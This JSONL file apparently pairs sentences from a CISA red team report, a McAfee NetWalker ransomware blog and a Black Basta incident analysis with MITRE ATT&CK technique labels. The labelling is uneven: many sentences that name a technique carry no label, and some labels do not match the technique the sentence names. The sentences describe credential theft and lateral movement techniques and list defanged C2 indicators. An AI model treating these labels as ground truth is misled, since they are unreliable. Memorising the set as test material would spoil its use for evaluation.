{"sentence": "Gather Victim Org Information: Determine Physical Locations T1591.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Search Open Technical Databases: Scan Databases T1596.005 The team queried an MDM SQL database to identify target administrators who recently connected with the MDM.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Resource Development Technique Title ID Use Acquire Infrastructure T1583", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Establish Accounts: Email Accounts T1585.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used commercially available email platforms for their spearphishing activity.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team sent spearphishing emails with links to a red-team-controlled domain to gain access to the organization’s systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Persistence Technique Title ID Use Account Manipulation T1098 The team elevated account privileges to administrator and modified the user’s account by adding Create Policy and Delete Policy permissions.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Create Account: Local Account T1136.001 During Phase II, the team created a local administrator account on a workstation and a server.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Domain Account T1136.002 During Phase II, the team created an AD account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Windows Service T1543.003 During Phase II, the team leveraged compromised workstation and domain admin accounts to execute a payload via Windows Service Creation on target workstations and the DC.", "labels": ["T1078", "T1543.003", "T1569.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hijack Execution Flow: DLL Search Order Hijacking T1574.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used DLL hijacking to move laterally between sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Defense Evasion Technique Title ID Use Valid Accounts: Domain Accounts T1078.002 During Phase II", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": ", the team compromised a domain admin account and used it to laterally to multiple workstations and the DC.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Credential Access Technique Title ID Use OS Credential Dumping: LSASS Memory T1003.001", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "OS Credential Dumping: DCSync T1003.006 The team harvested AES-256 hashes via DCSync.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Brute Force: Password Cracking T1110.002", "labels": ["T1110"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team cracked a user’s workstation account password after learning the user’s patterns from plaintext credentials.", "labels": ["T1110"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Unsecured Credentials T1552 The team found backups of a MySQL database that contained the encryption key needed to decrypt SSH passwords.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Unsecured Credentials: Credentials in Files T1552.001", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team found plaintext credentials to an API user account stored in PowerShell scripts on an MDM server.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Unsecured Credentials: Bash History T1552.003 The team found bash history files on a Workstation 5, and the files appeared to be SSH passwords saved in bash history.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Credentials from Password Stores: Password Managers T1555.005", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team pulled credentials from a KeePass database.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Adversary-in-the-middle: LLMNR/NBT-NS Poisoning and SMB Relay T1557.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team ran the DFSCoerce python script, which prompted DC authentication to a server using the server’s NTLM hash.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Remote System Discovery T1018", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team queried the AD, during phase I and II, for information about computers on the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "System Network Connections Discovery T1049 The team listed existing network connections on SCCM Server 1 to reveal an active SMB connection with server 2. Permission Groups Discovery: Domain Groups T1069.002 The team leveraged ldapsearch and dsquery to query and scrape active directory information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Account Discovery: Domain Account T1087.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team queried AD for AD users (during Phase I and II), including for members of a SharePoint admin group and several standard user accounts with administrative access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Domain Trust Discovery T1482 During Phase II, the team enumerated trust relationships within the AD Forest.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Group Policy Discovery T1615 The team scraped AD information, including GPOs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": ", the team enumerated ports on target systems from a previously compromised workstation.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team moved laterally with an SMB beacon.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use Alternate Authentication Material:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Pass the Hash T1550.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then deployed Rubeus to capture the incoming DC TGT.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Pass the Ticket T1550.003", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Application Layer Protocol: Web Protocols T1071.001", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team’s C2 redirectors used HTTPS reverse proxies to redirect C2 traffic.", "labels": ["T1071.001", "T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "File Transfer Protocols T1071.002", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used HTTPS reverse proxies to redirect C2 traffic between target network and the team’s Cobalt Strike servers.", "labels": ["T1071.001", "T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Encrypted Channel T1573", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team’s C2 traffic was encrypted in transit using encryption keys stored on their C2 servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ingress Tool Transfer T1105", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase II, the team uploaded and executed well-known malicious files to the DC to generate host-based alerts.", "labels": ["T1105"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Impact Technique Title ID Use Account Access Removal T1531 During Phase II, the team locked out several administrative AD accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Please share your thoughts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "We recently updated our anonymous Product Feedback Survey and we'd welcome your feedback.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Building Adaptable Security Architecture Against NetWalker NetWalker Overview The NetWalker ransomware, initially known as Mailto, was first detected in August 2019.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "We do not want you to be one of those victims, so this blog is focused on how to build an adaptable security architecture to defeat this threat and, specifically, how McAfee’s portfolio delivers the capability to prevent, detect and respond to NetWalker ransomware.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Gathering Intelligence on NetWalker As always, building adaptable defensive architecture starts with intelligence.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "In most organizations, the Security Operations team is responsible for threat intelligence analysis, as well as threat and incident response.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The Preview of McAfee MVISION Insights is a sneak peek of some of MVISION Insights capabilities for the threat intel analyst and threat responder.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The preview identifies the prevalence and severity of select top emerging threats across the globe which enables the Security Operations Center (SOC) to prioritize threat response actions and gather relevant cyber threat intelligence (CTI) associated with the threat, in this case NetWalker ransomware.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The CTI is provided in the form of technical Indicators of Compromise (IOCs) as well as MITRE ATT&CK framework tactics and techniques.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat intel analyst or responder, you can drill down to gather more specific information on NetWalker, such as prevalence and links to other sources of information.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat intel analyst or responder, you can further drill down to gather more specific actionable intelligence on NetWalker, such as indicators of compromise and tactics/techniques aligned to the MITRE ATT&CK framework.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "From MVISION Insights preview, you can see that NetWalker leverages tactics and techniques common to other ransomware attacks, such as spear phishing attachments for Initial Access, use of PowerShell for deployment, modification of Registry Keys/Startup folder for persistence and encryption of files for impact of course.", "labels": ["T1547.001", "T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Defensive Architecture Overview Today’s digital enterprise is a hybrid environment of on-premise systems and cloud services with multiple entry points for attacks like NetWalker.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The work from home operating model forced by COVID-19 has only expanded the attack surface and increased the risk for successful ransomware attack if organizations did not adapt their security posture.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The Center for Internet Security (CIS) Top 20 Cyber Security Controls provides a good guide to build that architecture.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The following outlines the key security controls needed at each layer of the architecture to protect your enterprise against ransomware.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "To assess your capability against NetWalker, you must match your existing controls against the attack stages we learned from the Preview of MVISION Insights.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "For detailed analysis on the NetWalker ransomware attack, see McAfee ATR’s blog but, for simplicity, we matched the attack stages to the MITRE ATT&CK Framework below.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Initial Access Stage Defensive Overview", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "According to Threat Intelligence and Research, the initial access is performed either through vulnerability exploitation or spear phishing attachments.", "labels": ["T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The following chart summarizes the controls expected to have the most effect against initial stage techniques and the McAfee solutions to implement those controls where possible.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "MITRE Tactic MITRE Techniques CSC Controls McAfee Capability Initial Access Exploit Public-Facing Applications (T1190) Tomcat, Web Logic CSC 2 Inventory of Software Assets", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Initial Access Spear Phishing Attachments (T1566.001)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 7 – Email and Web Browser Protection CSC 8 – Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Web Gateway (MWG), Advanced Threat Defense, Web Gateway Cloud Service (WGCS) Initial Access Valid Accounts (T1078) RDP Compromised CSC 5 Secure Configuration of hardware and software CSC 9 Limitation of Network Ports and Protocols CSC 12 Boundary Defense Endpoint Security Platform 10.7, Threat Prevention", "labels": ["T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As attackers can quickly change spear phishing attachments, it is important to have adaptable defenses that include user awareness training and response procedures, behavior-based malware defenses on email systems, web access and endpoint systems, and finally sec ops playbooks for early detection and response against suspicious email attachments or other phishing techniques.", "labels": ["T1566.001"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "To further understand how McAfee defends against RDP as an initial access vector, as well as how the attackers are using it to deploy ransomware, please see our previous posts.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rdp-security-explained/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cybercriminals-actively-exploiting-rdp-to-target-remote-organizations/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/ Exploitation Stage Defensive Overview", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The exploitation stage is where the attacker gains access to the target system.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Protection at this stage is heavily dependent on system vulnerability management, adaptable anti-malware on both end user devices and servers and security operations tools like endpoint detection and response sensors.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "McAfee Endpoint Security 10.7 provides a defense in depth capability including signatures and threat intelligence to cover known bad indicators or programs.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Additionally, machine-learning and behavior-based protection reduces the attack surface against NetWalker and detects new exploitation attack techniques.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "For more information on how McAfee Endpoint Security 10.7 can prevent or identify the techniques used in NetWalker, review these additional blog posts.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-to-use-mcafee-atp-to-protect-against-emotet-lemonduck-and-powerminer/ The following chart summarizes the critical security controls expected to have the most effect against exploitation stage techniques and the McAfee solutions to implement those controls where possible. MITRE Tactic MITRE Techniques CSC Controls McAfee Portfolio Mitigation Execution PowerShell (T1059.001)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 4 Controlled Use of Admin Privileges CSC 5 Secure Configuration CSC 9 Limitation of Network Ports and Protocols CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Persistence Registry Key – Place Value on Run Once Key (T1060)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7 Threat Prevention Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2020-0796 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2020-0796) Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2019-1458 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2019-1458); Endpoint Security Platform 10.7 (CVE-2019-1458) Threat Prevention, Application Control (MAC) Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2017-0213 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2017-0213); Endpoint Security Platform 10.7 (CVE-2017-0213) Threat Prevention, Application Control (MAC) Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2015-1701 CSC 3 Vulnerability Management CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Network Security Platform (CVE-2015-1701); Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC) Privilege Escalation Process Injection: Reflective DLL (T1055)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Defensive Evasion Deobfuscate/Decode Files or Information (T1140) CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Defensive Evasion Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Credential Access Credential Dumping (T1003) Mimikatz, Mimidogz, Mimikittenz, Pwdump, LaZagne, Windows Credentials CSC 4 Controlled Use of Admin Privileges CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Credential Access Brute Force (T1110)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Protection at this stage is heavily dependent on adaptable anti-malware on both end user devices and servers, network controls and security operation’s capability to monitor logs for anomalies in privileged access or network traffic.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The following chart summarizes the controls expected to have the most effect against impact stage techniques and the McAfee solutions to implement those controls where possible.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "MITRE Tactic MITRE Techniques CSC Controls McAfee Portfolio Mitigation Discovery Network Service Scanning (T1046) Network Scanner CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC), Network Security Platform Lateral Movement Third Party Software (T1072) TeamViewer, Anydesk CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, Network Security Platform Lateral Movement Service Execution (T1035) PS Exec CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR Collection Data from Information Repositories (T1213)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR Command and Control Ingress Tool Transfer (T1105)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 8 Malware Defenses CSC 12 Boundary Defenses Web Gateway, Network Security Platform Impact Data Encrypted (T1486) Netwalker Ransomeware CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR, Web Gateway Impact Inhibit System Recovery (T1490) Shadow CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR, Web Gateway Hunting for NetWalker Indicators", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat intel analyst or hunter, you might want to quickly scan your systems for any of NetWalker indicators.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Of course, if you found infected systems or systems with indicators, you can take action to contain and start an investigation for incident response immediately from the MVISION EDR console.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Proactively Detecting NetWalker Techniques Many of the exploit stage techniques in this attack use legitimate Windows tools or valid accounts to either exploit, avoid detection or move laterally.", "labels": ["T1078"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "These techniques are not easily prevented but can be detected using MVISION EDR.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As security analysts, we want to focus on suspicious techniques, such as PowerShell, used to download files… or execute scripts… or evade defenses… Monitoring or Reporting on NetWalker Events Events from McAfee Endpoint Protection and Web Gateway play a key role in NetWalker incident and threat response.", "labels": ["T1105"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat responder, you may want to create a dashboard for NetWalker-related threat events to understand current exposure.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Here is a list (not exhaustive) of NetWalker-related threat events as reported by Endpoint Protection Platform Threat Prevention Module and McAfee Web Gateway.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "McAfee Endpoint Threat Prevention Events Ransom-NetW!AB8D59ABA3DC GenericRXKU-HO!E33E060DA1A5 PS/Netwalker.a Ransom-NetW!1B6A2BFA39BC Artemis!2F96F8098A29 GenericRXKD-DA!645C720FF0EB GenericRXKD-DA!4E59FBA21C5E Ransom-NetW!A9E395E478D0 Ransom-NetW!A0BC1AFED896 PS/Netwalker.c Artemis!F5C877335920 GenericRXKD-DA!B862EBC24355 Artemis!2F96F8098A29 GenericRXKD-DA!63EB7712D7C9 RDN/Ransom GenericRXKD-DA!F0CC568491CD Artemis!0FF0D5085F7E GenericRXKD-DA!9172586C2F87 RDN/Generic.dx Ransom-NetW!BFF6F7B3A7DB Ransom-NetW!7B77B436360A GenericRXKD-DA!BC75859695F6 GenericRXKD-DA!FCEDEA8111AB GenericRXKD-DA!5ABF6ED342FD PS/Netwalker.d GenericRXKD-DA!C0DDA75C6EAE GenericRXKD-DA!ADDC865F6169 GenericRXKD-DA!DBDD7A1F53AA Artemis!1527DAF8626C GenericRXKD-DA!608AC26EA80C Ransom-NetW!3A601EE68000 GenericRXKD-DA!8102821249E1 Ransom-NetW!2E2F5FE8ABA4 GenericRXKD-DA!F957F19CD9D7 GenericRXKD-DA!3F3CC36F4298 GenericRXKD-DA!9001DFA8D69D PS/Agent.bu GenericRXKD-DA!5F55AC3DD189 GenericRXKD-DA!18C32583A6FE GenericRXKD-DA!01F703234047 Ransom-NetW!62C71449FBAA GenericRXKD-DA!6A64553DA499 GenericRXKD-DA!0CBA10DF0C89 Artemis!50C6B1B805EC PS/Netwalker.b GenericRXKD-DA!59B00F607A75 Artemis!BC96C744BD66 GenericRXKD-DA!DE0B8566636D Ransom-NetW!8E310318B1B5 GenericRXKD-DA!0537D845BA09 GenericRXKU-HO!DE61B852CADA GenericRXKD-DA!B4F8572D4500 PS/Netwalker.c GenericRXKD-DA!D09CFDA29F17 PS/Agent.bx GenericRXKD-DA!0FF5949ED496 GenericRXKD-DA!2B0384BE06D2 GenericRXKD-DA!5CE75526A25C GenericRXKD-DA!BDC345B7BCEC Ransom-CWall!993B73D6490B GenericRXKD-DA!0E611C6FA27A GenericRXKU-HO!961942A472C2 Ransom-NetW!291E1CE9CD3E Ransom-Mailto!D60D91C24570 PS/Agent.bu GenericRXKU-HO!997F0EC7FCFA PS/Agent.bx Ransom-CWall!3D6203DF53FC Ransom-Netwalker Ransom-NetW!BDE3EC20E9F8 Generic .kk GenericRXKU-HO!1DB8C7DEA2F7 GenericRXKD-DA!DD4F9213BA67 GenericRXKD-DA!729928E6FD6A GenericRXKU-HO!9FB87AC9C00E GenericRXKU-HO!187417F65AFB PS/Netwalker.b McAfee Web Gateway Events RDN/Ransom BehavesLike.Win32.RansomCWall.mh BehavesLike.Win32.Generic.kh Ransom-NetW!1B6A2BFA39BC BehavesLike.Win32.MultiPlug.kh Ransom:Win32/NetWalker.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "H!rsm BehavesLike.Win32.Generic.qh BehavesLike.Win32.Trojan.kh GenericRXKD-DA!DD4F9213BA67 BehavesLike.Win32.Ipamor.kh BehavesLike.Win64.Trojan.nh BehavesLike.Win32.Generic.cz RDN/Generic.dx BehavesLike.Win32.RansomCWall.mm BehavesLike.Win64.BadFile.nh BehavesLike.Win32.Generic.dm Summary Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The post McAfee Defender’s Blog: NetWalker appeared first on McAfee Blog.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Indicators of compromise, including malicious domain names, have not been modified.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Any log modification has been made to redact client information, break potential links, or for readability.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "RELATED TO THIS STORY", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The timeline below shows a high-level overview of the incident: INITIAL ACCESS The Threat Actor began this attack by compromising a user account at a third-party vendor (TPV).", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although little is known to Quadrant about the compromise on the TPV, access allowed for the use of an \"info@\" account.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following the infection, these hosts began to beacon on out to over 100 IP's using various ports.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although this did trigger an alert in AMP, the Quadrant ingestion of these logs was not configured, so this did not generate an alert through the Sagan Solution.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Quadrant monitors companies' ingress and egress traffic using onsite Packet Inspection Engine (PIE) appliances running the Suricata Detection engine.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although many other rulesets are used to screen for malicious activity, Quadrant has custom rules in place to detect SSH over nonstandard ports, such as TCP 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These rules did not fire due to the absence of an SSH header in the traffic.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Eventually, the malware was able to find an active C2 server.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It took about 35 minutes between initial infection and the first successful communication between a compromised host and the C2 domain.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The second stage payload, which was later determined to likely be the penetration testing framework \"Brute Ratel,\" was then downloaded via a connection to an IP from Russia.", "labels": ["T1105"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "PERSISTENCE AND ESCALATION OF PRIVILEGE Following the compromise of two hosts and gaining a foot hold, lateral movement began.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client's full infrastructure is comprised of three domains: Construction, Commerce, and a Subsidiary.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Both initial compromised hosts were in the Construction environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These domains had shared trust and were connected via VPN tunnels which allowed the threat actor to move freely between domains.", "labels": ["T1078"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "We believe that multiple methods and tools were leveraged in order to do this.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "At this point, visibility becomes muddled due to the focus of observation and detection is ingress and egress traffic.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, following the investigation into the recorded logs and the follow-on detailed analysis of malware samples, we can make educated guesses on some of the missing pieces.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Initial lateral movement and the lay of the land was likely conducted using Brute Ratel.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One file, \"zfgufgfvezdnbcvjkzctpvfdj.dll,\" matches the hash of previously submitted Brute Ratel samples.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Initial Command and Control was conducted from \"23[.]19[.]58[.]43\"[zedorocop[.]com] and \"23[.]106[.]160[.]141\" [danimos[.]com].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The IP’s used for C2 and the level of interaction changed over time as the compromise grew.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It’s important to note that the FQDN’s that were used as C2 were all registered the same month as the compromise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Multiple administrative and system accounts were compromised during this incident.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One possible explanation for this comes from “Kerberoasting”.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
